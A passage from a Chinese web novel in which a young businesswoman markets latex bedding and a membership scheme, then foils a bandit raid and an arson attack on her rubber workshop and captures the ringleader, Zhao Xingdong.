朱拂一肚子对弟弟的腹诽不满,打量落座大厅各处,等待叫号的人家,打算寻一户,和人家商量着换一下号。 啧,左手边那个是温家的媳妇儿,右手边的是钱家的姑娘……都是些不好惹的啊。 正找着,便看见个修长的身影走进大厅,径直往二楼上去。 她连忙出声喊道:“哎,那个,那谁,郭守云他未婚妻!” 刘青青愣了一会才反应过来是叫她。不由得挑挑眉,第一次以郭守云的附属品被认出来,这种感觉好奇怪。 她停下脚步笑盈盈的走到朱拂面前:“原来是朱家姐姐,以后叫我青青就是。您们也来看雨衣!可算来对了,上面款式非常多,颜色丰富,一会儿您们慢慢挑!” 眼看她抽身要走,朱拂拉着她低声道:“阿青,我娘偏头痛发作,急着为弟弟挑几件后,回去休息,要不你?”她晃了晃手里的号牌,插队的意思不言而喻。 刘青青笑眯眯的,号牌就是她让人做出来的,故意让来购买雨衣雨靴的客户慢慢挑,空余时间到处转一转,顺便拉动其他特产店的生意,要是快速的放走了这些客户,清华园上哪儿赚钱去。 这点小策略是不能跟顾客直言的,自己定的规矩当然不能带头破坏。 刘青青解释道:“朱姐姐,这样,我带你们去看看新产品,也是橡胶做出来的,保证你们喜欢。” 她压低声音道:“而且,那边只接待雨衣店的大客户!” 朱拂嗯了一声,扶着朱夫人跟随刘青青,从一旁的月亮门走了过去,穿插过幽暗的长廊,来到一个宽敞的房间。 这是一个套间,外面圆桌圆凳,桌子上摆着花草果篮,布置温馨亲切,轻薄的帘子后面是寝室。 里头两个打扮干净爽利的婆子,笑盈盈的掀起帘子,漏出里头的拔步床,奇怪的是,绣床上什么卧具都没有,淡青色的绣帐里,只有光秃秃的床板。 刘青青请朱夫人坐下,倒了一杯暖暖的荞麦茶。 温声介绍道:“我们青华园工匠耗费无数心血,作出了新款的床垫和枕头,能有效治疗失眠,对偏头痛也有一定的疗效,您先歇一歇,这屋子只接待女客,只管放心。” 两个女伙计搬来一个乳白色的床垫,铺在拔步床上,当着所有人的面换上崭新的床单,枕头,枕套,又抱了一床蚕丝被,装好被套,请朱夫人前去休息。 朱夫人头疼的厉害,扶着朱拂的手:“我些微靠一会,你在外面守着!”大户人家的女眷讲究,出远门带着自己的寝具,今日赶巧没带着,她看着崭新雪白的床垫,没有嫌弃,试探着躺了下去。 这一躺便是惊艳。 身下的床垫软软的,柔柔的,拖住了腰椎,让脊椎杵在一条直线上,感觉在云端里一样,放松舒适。 头下的枕头也是,软硬适中,细密的凸起有一点硬硬的触感,像一双温柔的手按摩在头顶的穴位,她舒适的喟叹了一声,闻着鼻尖若有如无的清香,不一会便进入了梦乡。 帐子外的朱拂听到母亲平稳的呼吸声,惊愕的看了一眼刘青青,留下一个婆子守着,两人退到外间闲聊。 刘青青面对她的疑惑,拆开一个新枕头解释道:“这是我们的新品,乳胶枕头和乳胶垫,用天然的乳胶蒸出来的,软硬适中,睡在上面特别舒服。而且含有天然的香气,有助眠的功效!” 朱拂摸了摸面前雪白的枕头,轻轻一按,塌了进去,像新蒸好的桂花糕一样柔软细腻。 长方体形状的枕头,上面打了许多孔洞,有效的透气,隐隐一股香味,确实让人心旷神怡。 朱拂暗道今日来对了,询问她可还有什么新货。 刘青青让伙计又抱来一个箱子。 朱拂兴致盎然的打开箱子,里头一双绣鞋。 她失望的收回目光:“鞋子就算了!”家里鞋子那么多,这个鞋子也没多好看。 刘青青但笑不语,将鞋底翻过来,让她仔细观察。 朱拂勉为其难接过,立马感觉出这鞋子的不一样:竟然有厚厚一层底,有两层木屐那么厚实,若踏在脚下,能有效隔绝冬日地底的寒气。 她手上稍微用力拜了拜,鞋底弯成个拱形。 也就是说,这种鞋底既像木屐那 样防水隔寒,却比木屐防滑舒适。 “这是我们做出来的鞋底,可以缝在绣鞋上,或者鹿皮小靴下。穿着这样的鞋子,逛园子赏雪赏雨,也不会冷到脚。” 朱拂决定立马下单:“我把我们家人的鞋样子给你,你给我们做些出来。” “放心,价钱不是问题!” 刘青青解释:“乳胶枕和乳胶垫,鞋底是我们家高端商品,必须是青华园的会员才可以购买,不如入一个?” 朱拂:“哦,怎么说?” 一旁的伙计立马拿出一个精美的册子介绍:“我们青华园推出了会员制,分为几个等级。” “一次性预存或消费一千两银子,便是尊贵的白银会员;若消费或预存五千两,便是黄金会员;预存或消费一万两,便是最最尊贵的紫金会员,” “会员优先享受体验我们的新品,来青华园游玩,各种游戏项目一律免费。” 朱拂摸了摸荷包,她没有一千两,但是,朱临有啊。 她有点银子便花了,但朱临每次得了赏,便攒在一起,美名其曰攒老婆本,今日被她全带了来,正好可以充个会员看看行情。 她毫不心疼的掏出一个男款的荷包,抽出几张大额银票潇洒的递给刘青青:“把你们这个白银会员,给姐弄一个!” 刘青青接过银票请她填了一张表格,不一会便用托盘捧回来一张小卡片,纯银打造,印制缩小版青华园的图案,下面是她的名字。 不说这张卡片代表的权益,光精美异常的图案,也能拿出去吹嘘一番了,朱拂乐滋滋的收了下来。 办了会员后,朱拂立马感受到伙计笑得更加热情,服侍的更加周到,诺,只要她吱一声,想要的美食,伙计们直接去端来,不用她再去买。 她脚下穿着新款的厚底绣花鞋,不时尝一尝桌上精美的点心,风味独特的各色小吃,惬意的思索着,白银卡便这样巴适,不晓得黄金卡是个什么样的待遇,最上面的紫金卡,又是什么样的光景? 确实有办紫金卡的,不过不是为了体验青华园的美食和各种便利,而是为了折扣。 白银卡打九八折,黄金卡打九五折,紫金卡打九折,一下子便少了一成的钱,不办的是傻子。 来办紫金卡的,不是别人,正是各家酒楼。 只要办了卡,从青华园购买货物,就能打折。 每次货款便从预存款里扣除。 大家伙巴着指头算了一下,左右也要这么多货银,不如早早交给青华园,让青华园感受到自己的善意的同意,也省下一笔银子。 刘青青通过预交款,快速的筹集了一大批现银。 张和抖着手,将三十六万两银子存到钱庄,他对刘青青搂钱的手段已经麻木了。当两个人能力接近的时候,会产生嫉妒羡慕的情绪,当两个人的差距足够大的时候,只能用仰望,崇拜来表达他心中的感情。 不过,他也很好奇,刘青青弄这么多现银做什么?青华园内已经按照她的图纸全部完工,真心没有用大钱的地方。 对于他的追问,刘青青懒懒的回复了两字:“你猜!” 第130章 第130章猎物 青华园的高端产品乳胶枕和乳胶床垫采用会员制的方式,必须入会,才有权限购买,为此,吸引了一大波豪门贵客。 鞋底的设计可谓是充满了小心机。 优质的天然橡胶通过硫化反应后,制作成高端舒适的坡跟鞋底,符合人体工学,大大迎合了女子市场。暗含关窍的内增高鞋底,戳中了南安府许多男人的心——哪个男人不希望自己再长高一些呢。 边角料刘青青没有浪费,和粗布料一起融成胶鞋,比老百姓家里的千层底鞋更耐磨结实,还防水,是为生计奔波的百姓,冬日必不可少的行走利器。 即便是雨衣,通过款式颜色材质,被刘青青作出了轻奢款和大众款。 轻奢款的雨衣,一件售价便是上百两,用的是最纯净的雪白橡胶,兑入颜料后整体成型,天青蓝,梦幻粉,星空紫,海棠红等轻透干净的颜色。请裁缝精心设计裁剪,玉石打磨而成的纽扣,无一处不精致,穿在身上反衬着一层莹光,美轮美奂。 请顾客到二楼挑选,挑的便是这些高价奢华的雨衣。 便宜的自然有,只批发,不零售。 因用的是提纯剩余的橡胶,颜色暗沉不通透,纽扣是普通的木纽扣,或者干脆没有纽扣,带着各种小瑕疵,防水绰绰有余,价格亲人,受到了普通百姓的喜爱。 刘青青通过这一举措,收集了南安府给家权贵的信息,又得到了普通百姓的信赖,在整个南安府里广为流传,得到了上上下下的认可。 青华园的特产街走上正轨,刘青青去迷障山林查看她的新部署:高炉。 上次自家伙计被劫持,给了刘青青很大的不安全感,有必要升级一下运输队们手里的装备。她一开始打算配备炸药,但这东西杀伤力太大,怕给刘家带着灭顶之灾,刘青青决定一步一步来,先弄个箭弩。 世面上的铁匠铺子里都是生铁,有官府的专营许可,刘青青把到手的会员费砸了二十万两进去,撒泼打滚缠着卢雪樵才弄到了铁器运营权,以后青华园可以自己炼钢,制作器械不用在受制于铁器铺子。 初步打算钢铁作坊和橡胶作坊比邻而建。 刘青青等郭守云下学,两人带着钢铁作坊图纸,直奔迷障山林,再次确定一些细节。 天黑时分,他们在迷障山林前下了马,因这里原是土匪窝,刘青青担心有漏网之鱼杀个回马枪,让郭守云带着清水沟村的资深猎人,耗费了半个月的时间,把里头的机关陷阱重新做了布置,四周铺设了栅栏。还修建了一条直通内部的青石路,方便运输橡胶产品到青华园。 郭守云指了指头上的额匾:“青华工业园,为什么不叫橡胶园呢?” 刘青青自豪的挺了挺胸:“因为这里以后,不仅有橡胶作坊,还有钢铁作坊,还会有无数的作坊,在这里建立起来。” 她说这话的时候,成竹在胸,意气风发,好似已经有无数的作坊在这一片野外矗立。郭守云扫一眼人烟稀少的山林,半点不觉得她在吹牛,因为她一直是这样,具有强大的执行力。 两人顺着大路前行,藏在深林的屋子也大变样,刘青青让人重新进行了修整粉刷,铺设了石板顶,石板地,就地取材,将已经老去不能再收割橡胶的橡胶木砍伐晾干后,打成了的餐桌、木床、柜子,摆放在各个小屋中,给橡胶作坊的伙计们临时午休居住。 大部分伙计已经坐着青华园的马车回了城,每日排班三十人留在园子里看守。 继续往里走约摸三公里的地方,在穿流而过的小河旁边,才是新建的橡胶作坊,里面静悄悄的,只剩看守的两个伙计在闲聊,旁边两只大黄狗耸耸鼻尖,摇着尾巴颠着小碎步跑到棉花黑炭前面,四只狗狗蹦跳着互相绕圈圈,表示遇见彼此的开心。 两个伙计眯着眼睛,看清是刘青青,嘴里含着的哨子放了下来,笑着问好。 刘青青嗯了一声,带着郭守云往下游走:“橡胶怕火,我们的钢铁作坊常年高温,尽量离橡胶作坊远一些。” 两人顺着小河而下,天色慢慢暗了下来,只剩下星星点点挂在天空,这样的光线,实在看不出周围的环境。 郭守云有些愧疚,扶了一把差点被树枝绊倒的刘青青:“都怨我,下学回来得太晚,我明早告个价,再来相看?” “怎好耽搁你的学业?” 森林里静悄悄的,只剩下风声虫鸣。 小姑娘坐在一棵横卧的大树下,任由郭守云将她的脚握着手中轻轻按揉,男孩处在变声期,声音由原来的清越变得暗哑:“好些了么?” 刘青青老脸一红,皮嫩心老的她有点不自在,急忙移开视线。 她看看四周黑呜呜的森林,影影绰绰的树荫,突兀的打了个寒战,有些吓人呢。那点子莫名 其妙的旖旎心思早就飞到了爪哇国。 她逮着郭守云的手:“不疼了,不疼了,我们赶快回去,夜黑风高的,还挺渗人。”郭守云心神一凛,警惕的扫过四周,除了树还是树,连猫头鹰都没有一只。 他脸上有一瞬间的迷茫,树木不会动,不会攻击人,还能给他提供食物,掩护他躲过猛兽的追捕,哪里渗人了? 刘青青火急火燎,一瘸一拐扯着他的手往前走,他眼眸一暗,干脆一扯她的手臂,将她甩在了背上:“我背你!” 嗯,好吧! 刘青青半点没推辞,老老实实的趴在他背上,像只乌龟一样,将脑袋缩在他肩膀上,郭守云哑然失笑,一向天不怕地不怕的刘青青,竟然怕树影子。 又发现了她的一点小缺点了呢。 正要取笑她两句,他突然感觉有些不对劲,棉花黑炭警惕的呜呜了一声。他轻轻捏了捏刘青青的腿,迎着她诧异的目光,将她放了下来,抬眼细细打量,发现远处有一排人影,鬼鬼祟祟的往橡胶作坊的方向摸去。 刘青青和他一起挤在大树的阴影里,顺着他的视线,愕然的看着前面东张西望,不时被郭守云设置的陷阱,扎中脚或插到手臂,疼得闷哼的人影。 这是来小偷了? 郭守云选择藏身的地方很隐蔽,正好在几颗大树的阴影下,可以清晰的看见对面的人影的动作,但对方却发现不了他们。 两人对视一眼,从对方眼里看不到害怕,反而是猎物上钩的兴奋。 兴奋? 刘青青琢磨了一下,她是因为早就预料到,裴家的不甘心,必然会找人来破坏,所以做成层层防护。 重新布置的陷阱、值班的伙计、传递口信的哨子、突发险情一日演习一遍…… 但是,郭守云兴奋个什么劲儿? 郭守云鼻尖微动,闻到了一股淡淡的血腥味,浑身的细胞因这个味道,颤栗了起来,那是肾上腺素分泌的效果。 他披着人的衣服生活了太久,学了一身的仁义道德,温良恭亲,但骨子里,他还是生活在森林里的小狼,喜欢刀口舔血,直来直往,以命相搏。 如今狭路相逢不请自来的敌人,就像看见了追击他的黑熊,他全身的血液都燃烧了起来,几乎没忍住跑上前去和那些敌人大战三百回合,不死不休。 浑身的细胞都叫嚣着,冲上去,借助丛林的掩护,将这些渣滓一击毙命,永远埋藏在这片黑暗中,等太阳升起来的时候,他又是那个干净斯文的小书生,没人有会发现阴影里发生的事情。 但是,他一动也没动,甚至护着刘青青,往阴影深处缩了缩。 不是他怕了这些宵小手中闪着冰冷银光的利器,而是因为,他身边还跟着刘青青,瘦弱怕黑胆小的刘青青,他要保证她不受到一点伤害,甚至惊吓。 担忧她弄出声响惊到那边的敌人,郭守云不经她同意,便捂着她的嘴巴,等人走远了,他才松开。 刘青青挣开他的束缚,狠狠推了他一把:“我们躲在这里,橡胶作坊怎么办?”来人手执武器,伙计们都是良民,即演戏过好几次,没了她的指挥,只怕不是对手! 郭守云被她推了一下,纹丝不动,也不生气,柔声劝道:“棉花黑炭已经去报信,伙计们都赶到橡胶作坊里,这帮匪徒要到橡胶作坊,还要趟过许多陷阱,伙计们以逸待劳一帮受伤的匪徒,不会出问题的。” “倒是我们两人独身在这,他们人多势众,万一被他们发现捉住,如何能逃脱。” “万一真有不好,我们两人不会武功,也打不过人家,去了也没用。不如悄悄跟在后面,伺机而动。” 郭守云一通分析调理分明,面面俱到。 刘青青无奈叹了口气,她也是急昏了头,才想着螳臂当车去阻止,就他们两人的小身板,确实不够人家揍的。现在只希望棉花黑炭能准确的把信带到。 他们远远的小心跟着盗匪的后面,如郭守云所说,盗匪约摸三十人,中了陷阱受伤的大约有二十人,互相搀扶着跟着队伍前进。 橡胶作坊近在眼前,众盗匪缩在一边愁眉苦脸,打着手语讨论该怎么样不惊动被人,将这两个看守放翻。 正当众盗匪讨论的时候,两个看守竟然吵了起来。 原来他们每月有一两的薪水,但上面又发了一百文的奖金,如何分配这多出来的一百文争执不休,最后两人谁也不服谁,互相谩骂,指责拉扯着去找领班拿主意去了! 看到他们走远,众盗匪大喜,真是天助我也! 守门的伙计都有一两银子的月薪,可想而知橡胶有多值钱,而马上,这些橡胶就要变成他们的了。 没有人注意到,两个伙计互相指责时僵硬的面部表情。【你现在阅读的是 】 130-140 第131章 第131章互相套 众盗匪呜哩哇啦奔到橡胶作坊门口,一斧头劈开了门上的大锁,挤进了门。 里头整齐排列着各种锅灶桶水缸,另一边货架上整齐的挂着无数橡胶片,等待着进一步的加工。 发财了发财了! 盗匪们丢下手里的钢刀,掏出麻袋,把半成品一片片塞进去。 众盗后悔带来的麻袋太小,装不下这么多,蒙着面的盗匪头子闷声闷气道:“捡着好的拿,剩下的我们离开时,一把火烧了它!” 盗匪们装红了眼睛,闷头搬橡胶皮,头子看了一眼,不动声色出了门,命令两个看门的盗匪专心放风,承诺回去后会分给他们,他便施施然闪身进了夜色里。 两个看守心里正在懊恼,这一路来财物没摸到,却受了伤,真是偷鸡不成舍把米。 如今大家在里头抢上百两一件的雨衣,乳胶枕,他们眼红得心在滴血,头人一走,两人对视一眼,立马闪身钻了进了,先把那些值钱的乳胶枕抢到手里再说,等后面头子分配,最多得点便宜货。 他们进入后,藏在树丛里的伙计们一拥而上,轻手轻脚将作坊门锁了起来,往作坊里放迷烟。 作坊里本来充斥这橡胶味,众盗匪一开始没有发现,等后面惊醒这是他们惯用的迷烟时,已经浑身无力,软软的瘫倒在地。 也有几人屏蔽着呼吸,假装昏倒,等待着对方进来暴起反抗,哪知,伙计们进来根本不接触他们,远远的用竹竿套杆,像套马儿一样,一套一个准,将所有人捆了个结结实实。 伙计们一边责骂盗匪们不当人,害得他们起夜加班,一边夸赞刘青青的脑子好,之前腹诽刘青青没事弄什么演习的胡乱折腾,现在也变成了佩服。 怪不得人家小小年纪能闯下这诺大的家业,看看,一切都演习过,面对穷凶极恶的盗匪,众人一点也不怵,听从小组长的命令,按部就班执行预演过的甲方案,不正面与盗匪接触比拼武力,就把所有盗匪捉住。 作坊里像过年一样热闹。 盗匪头子站在树荫里,眼底闪过一丝讥讽,他早就预料到,刘青青奸诈狡猾,这样轻易的他们摸到橡胶皮,必然有陷阱。 哼,他们一定想不到,他早有准备。 盗匪头子趁着里头吵闹不堪,又把门给锁了起来,解下腰间的水囊,哗啦啦泼在门上,窗上。 里头都是桐油,丢下一个火折子,看橘黄的火焰燃烧了起来,眼角漏出一丝得意,转身离去。 知己知彼百战不殆,他耗费重金,从其他人手中弄了套天青色的雨衣和乳胶枕回去研究,这东西清洗后焕然一新,但怕火。 只要有点火星子,马上便烧为灰烬。 既然得不到,那便一起烧毁吧。 里头的伙计盗匪,即便烧不死,但浓烈的烟雾下,没人能够逃生。 死了这么多人,等待青华园的是巨额的赔偿和无尽的谩骂,以后休想在府城立足。 等他走后,刘青青和郭守云跳了出来,弄开门锁,伙计们在里头有条不紊的搬动沙子扑灭火灾,除了有些狼狈 ,没发生慌乱踩踏事件。 刘青青责备值班组长:“每一种突发状况都预先演习过,但是,你们还是忘了在门外留人看守,要不是我和阿云恰好来,你们便要困在里头活活闷死,请大家引以为戒,每一项措施都要执行到底。” 伙计们脸上讪讪的,大家伙看到这么多手无寸铁不能动弹的盗匪,抓住是有奖金的,忙着抢业绩,有些得意忘形了,连声保证以后不会了。 刘青青交代他们善后,和郭守云闪身追了出来,那人是谁,还想作甚? 棉花黑炭在前,郭守云和刘青青跟在后面,一路尾随这前面的人影,跋山涉水,到了迷障山林深处的一处乱石山。 这个山头全是巨大的山石,裸露在地表上也是无数的小碎石,寸草不生,刘青青正感叹大自然的鬼斧神工,山脚山腰山头,短短几步路,生成了完全不同的景色,山脚全是橡胶树,山腰气温降低,变成了一片草甸,而山顶,竟然全是山石,甚至能看见背风处窝着一些冻冰。 刘青青紧紧身上的薄棉衣,缩了缩脖子躲避山顶的寒风,郭守云招呼棉花黑炭,将她挤在中间。 面黑黑炭已经成年,高大魁梧,热乎乎毛茸茸的身子挨着刘青青,天然全自动恒温大型暖宝宝,刘青青感觉暖和了许多,不再冷得发抖。 两人两狼躲在大石的后面,盯着前面的人影。 只见那人数到第七个大石,抱着一旁足球大小的石头扭动了一下,巨大的石块竟然缓缓移动,露出一个黑洞洞的入口。 这就很离谱了。 刘青青和郭守云对视一眼,都从对方眼里看到了惊讶,想不到这荒无人烟的只剩山石的地方还设有机关。 两人暗暗心焦,有心跟着进去,偏里头地形不熟,不晓得是个什么样的光景,万一中了埋伏得不偿失,在这里等着吧,狡兔三窝,若还有别的出口,让盗匪头子走脱,更是不美。 刘青青想进入查看,郭守云紧紧按着她不许动,两人靠眼光,无声的在争辩。 幸好,没多长时间,那人出来了。 进去的时候,他身材高挑消瘦,才一刻钟不见,他变得虎背熊腰——不晓得装了多少东西在身上,还套了件貂毛大衣。 刘青青咬着唇,从律法上来说,自从买下了这片土地,她就是这片土地的主人,这片土地上的东西也应该是她的。 所以,她毫不犹豫的跳了出来:“贼头子,把我的东西放下,饶你一命!” 郭守云:“……” 其实我们可以偷偷躲着,一会趁他经过,直接拍翻了事。他幽幽叹了口气,不情不愿的走出来,现出了行迹。 对方看见是他们,露出理应如此的表情,这两人形影不离,若少了一人,他还要防备暗算。现在么,呵呵。 还是太年轻,一下子就把底牌露了出来。 他将手上的袋子往地上一丢,从腰间抽出一把软剑,讥笑:“这些东西,什么时候变成你们的了?” 不等说完,他执着软剑杀向刘青青。 荒郊野外,夜黑风高,只要解决了眼前两个障碍,日进斗金的青华园,便是他的。 他剑下毫不留情,经过名师指点的剑招,狠厉夺命,杀得刘青青狼狈打滚。 郭守云苦苦缠斗,奈何手中没有趁手的兵器,顺手抄过爬山的树枝作挡,却被对方手中的软剑削萝卜一样,三两下削得直剩下一截断枝。 眼看对方的软剑就要扎到郭守云的咽喉,刘青青爬起来,从后背冲过去,跳到他背上,不要命的褥他的头发。 头发被扯掉一缕的盗贼头子,疼得狠狠将她甩到一边的山石上,刘青青后背撞得生疼,噗嗤吐了一口血出来。 他的剑尖已经扎破了刘青青的咽喉,眼看要命丧当场,郭守云打了个呼哨,棉花黑炭如闪电般跳出,棉花一口咬中他的手臂,黑炭撕扯他的肩膀,将他扑翻在地。 郭守云爬到刘青青面前,见她只是撞击下牙齿碰到嘴唇出了血,没有伤到内脏,一颗心才放了下来,走过去撕扯下贼匪头子的面巾。 竟然是老熟人,赵兴冬。 赵兴冬眼底闪过一丝遗憾。 只差一点点,差一点点,他就可以把这两个霸占刘家家财的人斩杀当场,若他们死了,他心心念念的刘慧兰便是他的,青华园也是他的,可惜了。 赵兴冬被棉花虎视眈眈的对着咽喉,他半点也不害怕,捂着受伤的手臂,笑嘻嘻道:“阿青妹妹,大晚上的,你不好好在家睡觉,跟着你的小男人来野战,玩得真花!” 刘青青:“……” 郭守云:“???” 野战是野外厮杀的意思吧,为什么他笑得这样猥琐,阿青反而满脸恼怒。 刘青青狠狠给了他一巴掌:“欠抽的东西!” “阿云,把他捆结实了,天亮送去衙门,大半夜的杀人放火,橡胶作坊里那些被他烧死的伙计盗匪,看他有几个脑袋够赔。” 赵兴冬面色一变,他还道是巧遇,原来对方一直跟着他。 他无所谓的笑笑:“既然发现我放火了,那你们是不是已经扑灭了,何来放火杀人一说。送,现在立刻送,去到衙门,问一问官老爷,不小心烧毁了点杂物,要赔多少银子,我现在不缺银子,加倍赔给你们!” 他晃了晃手臂上血淋淋的伤口,肆无忌惮道:“至于你们,指使恶犬伤人,不晓得这两条大狗,会不会被打死!” 他在赌,赌刘青青舍不得两条狗被惩罚。 他笑盈盈道:“我把今夜的财物给你们,算是我的赔礼,如何?”他踢了踢脚边的袋子,袋子口打开,露出了无数的金币首饰。 刘青青脸上变幻莫测,几个月不见,赵兴冬变得难缠了许多。按照律法,最多监禁他一年,凭借裴家的财力,弄个人顶替他坐牢不是难事。 可是,棉花黑炭就保不住了。 她好恨,赵兴冬这人面兽心的家伙,坐下了恶事却能逍遥法外。 纠结半响,她无奈的点头,表示同意。 赵兴冬爬起身,得意笑道:“对了嘛,以后我们都是一家人,抬头不见低头见的,何必呢!” “行吧,不过几两碎金子,当姐夫给你的零花钱,拿去用吧!” 他嚣张得说着风凉话,得意洋洋的转身下山,这个山洞里最宝贵的地图已经被他穿在了身上,那点身外之财,就当打发叫花子了。 乡下的土妞再厉害也是土妞,竟然为了两只狗受要挟,要是他,早就一刀了解了。 还没等他嘀咕完,身后传来细碎的脚步声,他扭过头,便看到棉花巨大的尖牙。 第132章 第132章扫清商路 赵兴冬和刘慧兰自小订婚,因母亲许美仙嫌弃刘家家贫,幺蛾子不断,搅和了这门婚事。 在许美仙的汲汲经营下,赵兴冬终于当了府城裴家的上门女婿。 因赵二贵的极力反对,许美仙干脆和离,带着赵兴冬投奔裴家。 赵兴冬做了裴家的女婿,却吃着锅里的,看着碗里的,对刘慧兰念念不忘,借助裴家的权势,苦心积虑筹谋将刘慧兰弄作外室,顺便侵占刘家的家财。 也是因缘巧合,裴家做的运输的生意,车马行漕运和刘家不断冲突。 因常平县到府城的陆路被刘青青抓住老虎后打通,商人多走陆路,裴家的水运生意遭受了巨大的打击,管着漕运的吕老大是裴家夫人吕氏的弟弟,恼羞成怒,一不做二不休,干脆劫走了青华园的货物和一众压货的伙计,藏匿在密障山林,找青华园勒索钱财。 吕老大搬起石头砸了自己脚,被刘青青请来的官兵围剿,判了斩立决。 刘青青救人之余,发现了迷障山林内人人嫌弃的臭树,竟然是三叶橡胶树,拆重金从官府中购得土地,收割橡胶生产雨衣和乳胶枕等,获得大笔利润。 裴夫人吕氏把弟弟的死 算在了青华园的头上,二来不岔青华园获利,命赵兴冬带着人手偷盗橡胶成品。 哪知赵兴冬夹带私活,因许美仙有了吕老大的遗腹子,吕老大行刑前将一辈子鱼肉百姓的钱财宝藏告诉了许美仙,就藏匿在橡胶园深处的乱石山上,才有了赵兴冬上山寻宝这一幕。 可惜天算不如人算,竟被郭守云和陆青青截获。 赵兴冬瞳孔放大,紧紧盯着扑来的棉花,回顾这半年来的苦心筹谋,已经被尊称为少东家的他,难道今日竟要窝囊的死在一只狗嘴下? 锋利的獠牙就要咬中他的咽喉,他吓得一个趔趄,双腿一软,跌坐在地上。 因他突然摔倒,棉花黑炭没咬到他的咽喉,却也将他的貂毛大衣,撕成了碎片。 破碎的大衣,漫天飞舞的貂毛让赵兴冬后怕不已,他连忙求饶:“阿青,我错了,你快让大狗走开,我再也不敢了!” 郭守云上前,忍着满心的戾气,狠狠给了他几个耳光,直到把他打晕。 刘青青拉着他苦苦劝道:“算了,你还要科举,莫要弄了官司背在身上。”她在末世中讨生活,敬畏每一个生命,不希望自己或者阿云,手上沾染因果。 郭守云恨恨的踢了昏过去的赵兴冬几脚才道:“你可知,他动了杀心,今夜若不是棉花黑炭,我们两都得命丧他手!” 刘青青苦笑,她能不知道么,差点一点,软剑就在她脖子上扎个窟窿,可是谁让她实在过不去良心这一关呢。 郭守云想了想道:“行吧,我放他一马,不过他死罪可免,活罪难逃,不教训他一顿,实在难解心头之恨.” 他把那包碎金子提了过来,在刘青青眼前晃了晃:“给他带走,舍得么?” 刘青青咽了咽口水,还真舍不得。 这包金子,估摸有十公斤,一两金百两银,这一包至少值万两银。 不过,这是吕老大的赃款,要交给官府处理,补偿给那些被勒索的穷苦百姓。左右落不到自己手中,给谁不是给呢,刘青青心里舒坦了些,随便他处理。 昏迷的赵兴冬身上的貂毛大衣被棉花黑炭撕得破破烂烂,郭守云嫌弃的帮他脱掉,用石头在碎金上做了些记号,重新塞到他怀中。 “我们把他丢到丛林里,这会子官府应该来人了,你就说青华园糟了贼,丢失了大量橡胶半成品,还丢失了万两银子。” 他朝着赵兴冬的怀里努努嘴:“这包金子的来历他说不清,这口黑锅他背定了,虽然不能判个斩立决,充军是跑不掉的。” 两人计议已定,刘青青把破碎的貂毛大衣塞给棉花,让它叼回去作窝,还挺暖和。放在这里万一被官府发现,也是麻烦。 两人合力,将赵兴冬抬到黑炭背上,把人运到山下,丢到盗匪屋子里一起关押,等待衙门来人。 天亮时分,府衙来人,提审盗匪。 当衙役打开关押盗匪的房间时,惊愕的发现,盗匪们缩在一边,另一边是鼻青脸肿奄奄一息的赵兴冬。 原来盗匪们发现了赵兴冬身上大笔金银,哄抢争夺、大打出手,昏迷中的赵兴冬被群魔乱舞的盗匪踩踏了好几次,眼看性命不保。 府衙弄来马车,将一干人犯带回了城。 刘青青看向郭守云:“盗匪被绑得结结实实,怎么会发生哄抢?” 一旁的伙计连忙解释:“那些坏人嚷嚷着要如厕,我怕弄脏了我们的地方,将他们解开了绳索,想着他们身无寸铁,锁在屋子里跑不掉,哪知道发生了这样的意外。” 刘青青打听后续,裴家请来大夫为牢狱中的赵兴冬诊治,原来他被踩坏了□□,灌了几天药后依旧没保住,大夫一刀将它切了。 还在牢狱中,裴家便写了一份休书,将赵兴冬休弃,热热闹闹的重新选女婿。 那些盗匪全是裴家手底下的水手马夫扮的,统一口径,一推三不知,只道一切听从赵兴冬的指挥。 赵兴冬痛失子孙根的同时,成了这次强盗行为的主谋,因为数额巨大,判了充军,塞到边境上做炮灰。 剩下的盗匪也被判了流放边境做苦力。 裴家没了这些人手,常平县到府城的南平江无法继续控制,刘青青怂恿卢雪樵,趁着没有新势力抢占,由衙门接手,成立了缉盗船,修建了收费站,收取过河费的同时,保证河上船只的安全。 过船费对比之前交给裴家的保护费来说,实在是毛毛雨,商家欢欢喜喜改走南平江,常平县到南平府的商路畅通无阻,河面上商船如梭,常平县的经济有了大大的提高。 获取的过船费,源源不断的增加了衙门的收入,卢雪樵用这笔银子兴建私塾,铺桥修路,改善民生,政绩薄上越发花团锦簇。 感受到了其中的好处,不用刘青青在提醒,他便时不时的把其他县份控制河运陆运的毫绅请来府衙喝茶,皮笑肉不笑的介绍裴家的下场。 慢慢将整个南平府的船运陆运控制在官府名下。 裴家经过两次打击,人手不够,只好收缩自家的业务。 旗下的水手苦力被抓走流放,每一个苦力便是一个家庭,养家的男人被抓走,孤儿寡母围在裴家门口哭诉。 大家都看着呢,裴家不敢再作出伤天害理的事情,老老实实赔偿安置款,耗费大半家财。没办法,裴老爷将五进的大宅换成一进的小院,辞退了所有家仆丫头,夹着尾巴低调做人。 许美仙盼着儿子带回大笔金银,却等来了赵兴冬成为废人被判充军的消息,几乎没疯魔。 她挺着肚子无处可去,跟着裴家,因她肚子是吕家唯一的遗腹子,吕氏至少给她一口吃的,只好当老妈子伺候裴家一家子,看着裴娇重新找了个女婿,转眼将儿子抛之脑后,恩恩爱爱过日子,气得几乎没吐出血来。 郁结在心加孕期的劳碌,不久后生产大出血,一命呜呼,被吕氏一床草席扔到了乱葬岗。还是赵二贵得到了消息,买了一口薄皮棺材,寻了个僻静的山林将她安葬。 赵二贵站再墓前,脸上神色莫辩,终是问出了心中的话:“你可后悔?” “后悔,悔得肠子都青了!” 同样的问题,他在几个月前问了赵兴冬。 彼时,赵兴冬跟随着充军的犯人,寒冬腊月披头散发赤头光脚,带着枷锁即将上路,身边的狱友都有亲人前来送别。 他期盼的看着城门口,寻找着裴娇的身影,少年夫妻一场,她,会来送送他吧? 他在人群中找了一遍,两遍,无数遍,却没看到熟悉的身影,就连阿娘也没有来。 这一刻,他明白了,他彻彻底底成了弃儿。 挺直的脊背在成为废人的那一刻没有弯,现在完全的佝偻了下去,一下子失去了生机。 此去千里,他身无分文,衣衫褴褛,如何熬得过去。 当他绝望之际,一辆马车出现在眼前,赶车的刘青青看着他幽幽的叹了口气,掀开车帘,大春扶着赵二贵下了马车。 见到生父,赵兴冬砰的跪下,痛哭流涕:“阿爹,我,我错了,我错了啊……” 赵二贵没有嫌弃他肮脏油腻的头发,抚着他的头,流了下眼泪:“儿啊,以后挺起脊梁做人,你还是我赵家的好男儿!” 赵兴冬哭得越发惨了:“我,我成了废人,如何当男儿?!” 